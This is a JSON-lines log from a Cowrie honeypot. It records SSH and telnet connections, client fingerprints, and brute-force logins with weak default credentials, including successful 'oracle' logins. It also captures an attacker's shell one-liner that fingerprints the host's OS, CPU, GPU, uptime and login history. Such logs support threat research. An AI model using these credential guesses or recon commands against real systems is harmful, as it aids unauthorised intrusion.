{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:19.844873Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"654321","message":"login attempt [oracle/654321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.298017Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.504644Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.507272Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.510651Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.513914Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.516929Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.520764Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.523604Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.527028Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.529436Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.533720Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.537852Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.629621Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:20.713610Z","src_ip":"91.92.40.4","session":"7257d473c535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":46874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2682b1de8d7","protocol":"ssh","message":"New connection: 176.32.39.21:46874 (10.17.0.5:22) [session: b2682b1de8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:23.754141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:23.758122Z","src_ip":"176.32.39.21","session":"b2682b1de8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:23.873054Z","src_ip":"176.32.39.21","session":"b2682b1de8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16091982","message":"login attempt [root/16091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:24.219665Z","src_ip":"176.32.39.21","session":"b2682b1de8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:25.337723Z","src_ip":"176.32.39.21","session":"b2682b1de8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57322,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac4e031decc6","protocol":"ssh","message":"New connection: 160.187.174.22:57322 (159.203.135.109:22) [session: ac4e031decc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:25.823307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:25.844889Z","src_ip":"160.187.174.22","session":"ac4e031decc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:26.074567Z","src_ip":"160.187.174.22","session":"ac4e031decc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:27.033437Z","src_ip":"160.187.174.22","session":"ac4e031decc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:28.282491Z","src_ip":"160.187.174.22","session":"ac4e031decc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.66523218154907,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:29.387839Z","src_ip":"170.64.224.25","session":"43c14c80b293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39794,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2d0bbd9589","protocol":"ssh","message":"New connection: 103.149.28.157:39794 (159.203.135.109:22) [session: 9d2d0bbd9589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:32.484956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:32.488322Z","src_ip":"103.149.28.157","session":"9d2d0bbd9589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:32.736912Z","src_ip":"103.149.28.157","session":"9d2d0bbd9589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54384,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8239190b788","protocol":"telnet","message":"New connection: 170.64.224.25:54384 (159.203.135.109:23) [session: d8239190b788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:33.006854Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q1w1e","message":"login attempt [root/1q1w1e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:33.733506Z","src_ip":"103.149.28.157","session":"9d2d0bbd9589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:34.985357Z","src_ip":"103.149.28.157","session":"9d2d0bbd9589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.154258489608765,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:36.537297Z","src_ip":"170.64.224.25","session":"b1d3f35ef02c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.765883684158325,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:40.492234Z","src_ip":"170.64.224.25","session":"4363b18a931f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60826,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a34196a6bd","protocol":"ssh","message":"New connection: 160.187.174.22:60826 (159.203.135.109:22) [session: 73a34196a6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:54.179133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:54.182278Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:54.419840Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!QAZ@WSX","message":"login attempt [oracle/!QAZ@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:55.157822Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:55.677532Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:55.680488Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:55.919224Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:55.923802Z","src_ip":"160.187.174.22","session":"73a34196a6bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39224,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f8e578e5715","protocol":"telnet","message":"New connection: 170.64.224.25:39224 (159.203.135.109:23) [session: 6f8e578e5715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:41:56.732759Z"}
{"eventid":"cowrie.session.closed","duration":32.016117095947266,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:42:05.022863Z","src_ip":"170.64.224.25","session":"d8239190b788","protocol":"telnet"}
